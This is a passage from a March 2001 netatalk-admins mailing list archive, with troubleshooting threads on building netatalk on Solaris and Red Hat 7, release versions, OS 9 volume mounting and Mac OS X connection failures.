	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09412
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 05:58:06 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA09346
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 05:58:04 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.9.3/8.9.3) with ESMTP id LAA12655;
	Thu, 15 Mar 2001 11:58:00 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05010400b6d64eb0bfed@[193.155.17.160]>
In-Reply-To: <200103151011.KAA20226@ithaca.mcs.le.ac.uk>
References: <200103151011.KAA20226@ithaca.mcs.le.ac.uk>
Date: Thu, 15 Mar 2001 11:57:56 +0100
To: "J. A. Landamore" <jal@mcs.le.ac.uk>
From: Hauke Fath <hf@Tangro.DE>
Subject: Re: netatalk on SPARC
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:11 Uhr +0000 15.03.2001, J. A. Landamore wrote:
>I assume from the facts that:
>
>1) netatalk does not compile on a 64 bit SPARC Solaris using the Sun compiler
>2) No-one answered my last e-mail about netatalk on 64 SPARC Solaris
>
>that development of netatalk on SPARC Solaris is dead.

The Netatalk page on SourceForge claims "Operating System: Linux".

The old Netatalk Makefiles were dumped in favour of a GNU 
automake/autoconf based system that, so far, has not really lived up 
to its promise of being "a little bit more cross-platform and easier 
to maintain".

I understand the writing on the wall as "we are cross-platform - as 
long as you have at least half of GNU world installed on your system".

Then again, Netatalk is user-maintained...

	hauke

-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Thu Mar 15 07:32:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA26305
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 07:32:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24279
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 07:32:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24257
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 07:32:41 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24221
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 07:32:40 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2FCWdC70555
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 07:32:39 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210101b6d664f532dd@[216.155.36.73]>
In-Reply-To: <200103151011.KAA20226@ithaca.mcs.le.ac.uk>
References: <200103151011.KAA20226@ithaca.mcs.le.ac.uk>
Date: Thu, 15 Mar 2001 07:36:57 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: netatalk on SPARC
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	John,

	I don't know about "dead".  I know that Jeff was asking for a 
Solaris machine to test and compile one a few days ago.  The problem 
just might be that there aren't a lot of Solaris machines to go 
around.  There is some chance that my office might get a Sun Blade 
soon, but "soon" is open to interpretation.

	It kind of makes me wish Netatalk had a rich benefactor. 
Something tells me Scott McNealy isn't going to hand us an Ultra 5 . 
Of course, I'd *like* to be wrong on this one.

	Maybe writing Sun and asking politely wouldn't be a bad idea? 
Heck, maybe there is someone over at Sun who would be more then happy 
to pitch in, even if it were just testing code in a lab after hours.

	Does anyone know anyone at Sun, or an admin at a university 
that uses Sun Solaris?

	Ryan

>I assume from the facts that:
>
>1) netatalk does not compile on a 64 bit SPARC Solaris using the Sun compiler
>2) No-one answered my last e-mail about netatalk on 64 SPARC Solaris
>
>that development of netatalk on SPARC Solaris is dead.
>
>
>John Landamore                         | Please re-install Universe |
>Sys. Admin                             |       and reboot           |
>Dept Mathematics & Computer Science    |                            |
>University of Leicester                |       Hogfather            |
>University Road, LEICESTER, LE1 7RH    |    Terry Pratchett         |
>J.Landamore@mcs.le.ac.uk
>Phone: +44 (0)116 2523410       Fax: +44 (0)116 2523604

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Thu Mar 15 10:36:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29597
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 10:36:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27395
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 10:36:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27377
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 10:36:50 -0500 (EST)
Received: from apollo.le.ac.uk (apollo.le.ac.uk [143.210.16.125])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27311
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 10:36:48 -0500 (EST)
Received: from ithaca.mcs.le.ac.uk ([143.210.72.11])
	by apollo.le.ac.uk with esmtp (Exim 3.16 #1)
	id 14dZo5-0000XG-00
	for netatalk-admins@umich.edu; Thu, 15 Mar 2001 15:36:53 +0000
Received: from pc54 (pc54 [143.210.72.46])
	by ithaca.mcs.le.ac.uk (8.9.3+Sun/8.9.3) with SMTP id PAA25514
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 15:36:52 GMT
Message-Id: <200103151536.PAA25514@ithaca.mcs.le.ac.uk>
Date: Thu, 15 Mar 2001 15:36:53 +0000 (GMT)
From: "J. A. Landamore" <jal@mcs.le.ac.uk>
Reply-To: "J. A. Landamore" <jal@mcs.le.ac.uk>
Subject: netatalk on Solaris
To: netatalk-admins@umich.edu
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 i86pc i386 
Content-Type: text
X-Sun-Text-Type: ascii

OK, here's an offer I'm going to regret.  I'm willing to test netatalk builds on 
64 bit SPARC Solaris 7 if there is a demand.  I AM NOT a code writer, so I all 
can do is report error messages.  If any of the development team want to take up 
this offer then e-mail me off-line at

J.Landamore@mcs.le.ac.uk

Please note, as I'm sure you're aware, this means the use of Suns compiler so 
replies to this offer of the form " ... using gcc ... " will meet with very 
short shrift.

John Landamore

From netatalk.administrators-errors@umich.edu  Thu Mar 15 14:09:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA05280
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 14:09:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15471
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 14:09:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15433
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 14:09:49 -0500 (EST)
Received: from mail4.svr.pol.co.uk (mail4.svr.pol.co.uk [195.92.193.211])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA15384
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 14:09:47 -0500 (EST)
Received: from modem-154.dove.dialup.pol.co.uk ([62.137.172.154] helo=[10.0.1.2])
	by mail4.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 14dcyS-0001xd-00
	for netatalk-admins@umich.edu; Thu, 15 Mar 2001 18:59:48 +0000
Mime-Version: 1.0
X-Sender: aedan@mail.mac.com
Message-Id: <p05010410b6d6bb2e5b2a@[10.0.1.2]>
Date: Thu, 15 Mar 2001 18:47:23 +0000
To: netatalk-admins@umich.edu
From: Aedan McGhie/Scotland <aedan@mac.com>
Subject: can't make file
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

  Subject:

  When running make I get an error to say that one of the files can't be found.I
  have searched for it and sure enough, it's not there.

  Environment:

  Redhat 7, Gnome.

  Description:

  This is the output from the terminal

  In file included from asp_getreq.c:27:
  ../../include/netatalk/endian.h:32:21: bytesex.h: No such file or directory
  make[2]: *** [asp_getreq.o] Error 1
  make[2]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk/asp'
  make[1]: *** [asp] Error 2
  make[1]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk'
  make: *** [../../libatalk] Error 2

  It looks like it can't find bytesex.h (and I'll get laughed at in the pub
  tonight if I tell anyone I have been looking for bytesex).

  Repeat-By:

  Happens every time I try to make the file.

  aeda
-- 


Mac OS X vs. Windows XP : Typical Microsoft -- Take something from 
another company then P on it.


http://www.surak.freeserve.co.uk
http://homepage.mac.com/aedan/



From netatalk.administrators-errors@umich.edu  Thu Mar 15 14:34:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA06971
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 14:34:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA18295
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 14:34:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA18269
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 14:34:25 -0500 (EST)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA18225
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 14:34:23 -0500 (EST)
Received: from unix1 (unix1.wm.edu [128.239.10.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id OAA24371;
	Thu, 15 Mar 2001 14:34:23 -0500 (EST)
Date: Thu, 15 Mar 2001 14:33:44 -0500 (EST)
From: Rob Lineweaver <rbline@wm.edu>
To: Aedan McGhie/Scotland <aedan@mac.com>
cc: netatalk-admins@umich.edu
Subject: Re: can't make file
In-Reply-To: <p05010410b6d6bb2e5b2a@[10.0.1.2]>
Message-ID: <Pine.GSO.4.10.10103151428120.20887-100000@unix1.wm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


>   In file included from asp_getreq.c:27:
>   ../../include/netatalk/endian.h:32:21: bytesex.h: No such file or directory
>   make[2]: *** [asp_getreq.o] Error 1
>   make[2]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk/asp'
						        ^^^^^
1.3.3 is ancient!  Get some newer sources.  As suggested yesterday, try:
http://netatalk.sourceforge.net/   for 1.5preX, and 
http://www.anders.com/projects/netatalk/download.html  for version 1.4

>   make[1]: *** [asp] Error 2
>   make[1]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk'
>   make: *** [../../libatalk] Error 2
> 
>   It looks like it can't find bytesex.h (and I'll get laughed at in the pub
>   tonight if I tell anyone I have been looking for bytesex).

'locate bytesex' turned up nothing on any of my linux machines... perhaps
from an old glibc or something?...

More recent versions of netatalk will compile cleanly on RH 7.

good luck,

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Thu Mar 15 14:52:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08154
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 14:52:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 14:52:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17311
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 14:52:15 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA17146
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 14:52:13 -0500 (EST)
Received: (qmail 21676 invoked by uid 500); 15 Mar 2001 19:52:06 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 15 Mar 2001 19:52:06 -0000
Date: Thu, 15 Mar 2001 13:52:06 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Rob Lineweaver <rbline@wm.edu>
cc: Aedan McGhie/Scotland <aedan@mac.com>, <netatalk-admins@umich.edu>
Subject: Re: can't make file
In-Reply-To: <Pine.GSO.4.10.10103151428120.20887-100000@unix1.wm.edu>
Message-ID: <Pine.LNX.4.30.0103151350050.21652-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I've been using a rather odd "pre2" version from
ftp://mirror.sit.wisc.edu/pub/linux/distributions/redhat/beta/wolverine/en/powertools/i386/RedHat/RPMS/netatalk-1.5pre2-4.i386.rpm


I say odd because the SourceForge group never released a pre2 that I'm
aware of.

-Dan

On Thu, 15 Mar 2001, Rob Lineweaver wrote:

>
> >   In file included from asp_getreq.c:27:
> >   ../../include/netatalk/endian.h:32:21: bytesex.h: No such file or directory
> >   make[2]: *** [asp_getreq.o] Error 1
> >   make[2]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk/asp'
> 						        ^^^^^
> 1.3.3 is ancient!  Get some newer sources.  As suggested yesterday, try:
> http://netatalk.sourceforge.net/   for 1.5preX, and
> http://www.anders.com/projects/netatalk/download.html  for version 1.4
>
> >   make[1]: *** [asp] Error 2
> >   make[1]: Leaving directory `/root/unpacked/netatalk-1.3.3/libatalk'
> >   make: *** [../../libatalk] Error 2
> >
> >   It looks like it can't find bytesex.h (and I'll get laughed at in the pub
> >   tonight if I tell anyone I have been looking for bytesex).
>
> 'locate bytesex' turned up nothing on any of my linux machines... perhaps
> from an old glibc or something?...
>
> More recent versions of netatalk will compile cleanly on RH 7.
>
> good luck,
>
> Rob Lineweaver
> :)
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu



From netatalk.administrators-errors@umich.edu  Thu Mar 15 18:12:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12772
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 18:12:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA06747
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 18:12:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA06738
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 18:12:07 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA06709
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 18:12:05 -0500 (EST)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id MAA09607;
	Thu, 15 Mar 2001 12:12:01 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AB10145.620C83A@univrel.pr.uconn.edu>
Date: Thu, 15 Mar 2001 12:52:05 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
CC: Rob Lineweaver <rbline@wm.edu>, Aedan McGhie/Scotland <aedan@mac.com>,
        netatalk-admins@umich.edu
Subject: Re: can't make file
References: <Pine.LNX.4.30.0103151350050.21652-100000@www.molbio.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Daniel E. Lautenschleger" wrote:
> 
> I've been using a rather odd "pre2" version from
> ftp://mirror.sit.wisc.edu/pub/linux/distributions/redhat/beta/wolverine/en/powertools/i386/RedHat/RPMS/netatalk-1.5pre2-4.i386.rpm
> 
> I say odd because the SourceForge group never released a pre2 that I'm
> aware of.
> 

It was called 1.4.99-0.somethingorother instead of pre2, which was meant
to make package systems recognize 1.5pre? to be *older* than 1.5, which
they have been known not to do. After that, common sense prevailed, and
the packages were moved to the 1.5pre? format.

Grab the 1.5pre5 RPM if you get the chance; it has many fixes over
1.5pre2. There are some annoying bugs that are fixed in the current CVS,
which are slated for 1.5pre6.

jeff

From netatalk.administrators-errors@umich.edu  Thu Mar 15 18:18:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 18:18:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16512
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 18:18:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA16489
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 18:18:49 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA16473
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 18:18:48 -0500 (EST)
Received: (qmail 21797 invoked by uid 500); 15 Mar 2001 23:18:52 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 15 Mar 2001 23:18:52 -0000
Date: Thu, 15 Mar 2001 17:18:52 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: jeff <jeff@univrel.pr.uconn.edu>
cc: Rob Lineweaver <rbline@wm.edu>, Aedan McGhie/Scotland <aedan@mac.com>,
        <netatalk-admins@umich.edu>
Subject: Re: can't make file
In-Reply-To: <3AB10145.620C83A@univrel.pr.uconn.edu>
Message-ID: <Pine.LNX.4.30.0103151714530.21795-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thanks for the info, Jeff.

One thing worth mentioning is that for (at least) Red Hat 7 folks, the
Pre5 simply does not work properly. I have a hunch that grabbing the
current CVS or waiting for Pre6 is the way to go.

Thoughts on when pre 6 will be released?

Thanks again.

BTW, I loved the e-mail I saw earlier today indicating a possible
cooperative effort with the Samba folks. I'm all for a 1.5 freeze/fork to
GPL.

On Thu, 15 Mar 2001, jeff wrote:

> "Daniel E. Lautenschleger" wrote:
> >
> > I've been using a rather odd "pre2" version from
> > ftp://mirror.sit.wisc.edu/pub/linux/distributions/redhat/beta/wolverine/en/powertools/i386/RedHat/RPMS/netatalk-1.5pre2-4.i386.rpm
> >
> > I say odd because the SourceForge group never released a pre2 that I'm
> > aware of.
> >
>
> It was called 1.4.99-0.somethingorother instead of pre2, which was meant
> to make package systems recognize 1.5pre? to be *older* than 1.5, which
> they have been known not to do. After that, common sense prevailed, and
> the packages were moved to the 1.5pre? format.
>
> Grab the 1.5pre5 RPM if you get the chance; it has many fixes over
> 1.5pre2. There are some annoying bugs that are fixed in the current CVS,
> which are slated for 1.5pre6.
>
> jeff
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Thu Mar 15 19:21:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA14256
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 19:21:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09371
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 19:21:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09360
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 19:21:09 -0500 (EST)
Received: from admiral.navis.com (admiral.navis.com [205.219.33.44])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA09338
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 19:21:08 -0500 (EST)
Received: from valhalla.navis.com (IDENT:alevitt@valhalla.navis.com [205.219.33.111])
	by admiral.navis.com (8.10.2/8.10.2) with ESMTP id f2G0L7705843
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 16:21:07 -0800
Date: Thu, 15 Mar 2001 16:21:17 -0800 (PST)
From: Aaron Levitt <alevitt@navis.com>
To: netatalk-admins@umich.edu
Subject: Volume mounting at startup with OS9.x
Message-ID: <Pine.LNX.4.21.0103151558260.929-100000@valhalla.navis.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Greets everyone-

I apologize in advance if this has already been addressed.  Even though I
saw similar problems reported in the list archives, none seemed to have
responses that corrected the problems, and I have been off the list for a
while (and will probably end up being off for a bit longer).

I am using netatalk-1.4b2+asun2.1.4 on my main production redhat 6.2 linux
box with a 2.2.14 kernel.  It has been performing great until recently.  
As more and more of our users upgrade to OS9 we are seeing an increasing
number of people that are having problems having volumes mount at boot
time and via aliases.

Currently, one of our shares can't be selected to be mounted at startup,
when you try to check the box to have it mount at startup, it complains
about "The command could not be completed because it contains items that
are in use."

Also, with the same share, if you try to make an alias of it anywhere on
the mac, it gives the same error as above. 

The other issue is if you create an alias of another paticular share, a
different one will actually be mounted when you try mounting it via the
alias.  It will mount the same different share every time.

We have 18 seperate shares, all shared via netatalk and samba, and these 2
are the only ones with problems and only with OS 9, 9.0.4 and 9.1.  
Everything functions normally with macOS < OS9.  We have looked at all the
config files and even recreated the AppleVolumes.default file thinking it
may have gotten some strange cr's or spaces somewhere, but still have the
same results.  We have also tried dumping the System folder/Servers files
and had no change, and even tried a fresh install of OS9.

Any suggestions would greatly be appreciated.  

-Aaron Levitt


From netatalk.administrators-errors@umich.edu  Thu Mar 15 20:05:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA15189
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 20:05:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA18276
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 20:05:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA18261
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 20:05:40 -0500 (EST)
Received: from mr4.ash.ops.us.uu.net (mr4.ash.ops.us.uu.net [198.5.241.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA18235
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 20:05:39 -0500 (EST)
Received: from localhost by mr4.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: macsupport2.corp.us.uu.net [153.39.168.41])
	id QQkgnk27600
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 01:05:39 GMT
Message-Id: <QQkgnk27600.200103160105@mr4.ash.ops.us.uu.net>
Date: Thu, 15 Mar 2001 20:05:30 -0500
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v387)
From: "David J. Shaub" <zer0@mac.com>
To: netatalk-admins@umich.edu
X-Mailer: Apple Mail (2.387)
Content-Transfer-Encoding: 7bit
Subject: Mac OS X - connecting to Netatalk servers

Although I haven't helped anyone on this list yet - maybe one day I can.

I have been playing around with Mac OS X and it seems there is a 
problem.  Netatalk volumes are not accessible.  While watching 
/var/log/messages, it seems the authentication goes through.  You then 
get your list of accessible shares, but when you attempt to mount them - 
the server disconnects the client(Mac OS X box).  In the log you see:

Mar 15 19:57:50 macsupport afpd[8556]: ASIP session:548(2) from 
153.39.168.41:49288(0)
Mar 15 19:57:50 macsupport afpd[818]: server_child[1] 8556 done
Mar 15 19:57:58 macsupport afpd[8557]: ASIP session:548(2) from 
153.39.168.41:49289(0)
Mar 15 19:57:58 macsupport afpd[8557]: dhx login: dshaub
Mar 15 19:57:58 macsupport PAM_pwdb[8557]: (netatalk) session opened for 
user dshaub by (uid=0)
Mar 15 19:57:58 macsupport afpd[8557]: login dshaub (uid 501, gid 501)
Mar 15 19:58:05 macsupport afpd[8557]: dsi_stream_read(0): No such 
process
Mar 15 19:58:05 macsupport PAM_pwdb[8557]: (netatalk) session closed for 
user dshaub
Mar 15 19:58:05 macsupport afpd[8557]: 0.84KB read, 8.92KB written
Mar 15 19:58:05 macsupport afpd[8557]: Connection terminated
Mar 15 19:58:05 macsupport afpd[818]: server_child[1] 8557 exited 1

On the machine attempting to connect you get:

Disconnected
The file server "macsupport" connection has unexpectedly closed down.

My Netatalk boxes are all Redhat 7 running on various Dell hardware  
I've tried 1.5 as well as the old 1.4+asun version that was always 
recommended.  I know it may be silly to expect the non final version of 
OS X to work perfectly - but I am a little suspicious that Apple has 
made some changes that will need to be adjusted to.  Mounting OS 9 or 
AppleShare IP servers work fine. If anyone has ideas - I would love to 
hear!

Thanks,
David Shaub

From netatalk.administrators-errors@umich.edu  Thu Mar 15 20:35:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA15950
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 20:35:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA18964
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 20:35:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA18948
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 20:35:40 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h020.c017.sfo.cp.net [209.228.12.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA18921
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 20:35:39 -0500 (EST)
Received: (cpmta 20748 invoked from network); 15 Mar 2001 17:35:38 -0800
Received: from www.waaaow.com (HELO ?192.168.0.52?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.234) with SMTP; 15 Mar 2001 17:35:38 -0800
X-Sent: 16 Mar 2001 01:35:38 GMT
Mime-Version: 1.0
Message-Id: <p04320401b6d715f0c4b6@[192.168.0.52]>
In-Reply-To: <Pine.LNX.4.21.0103151558260.929-100000@valhalla.navis.com>
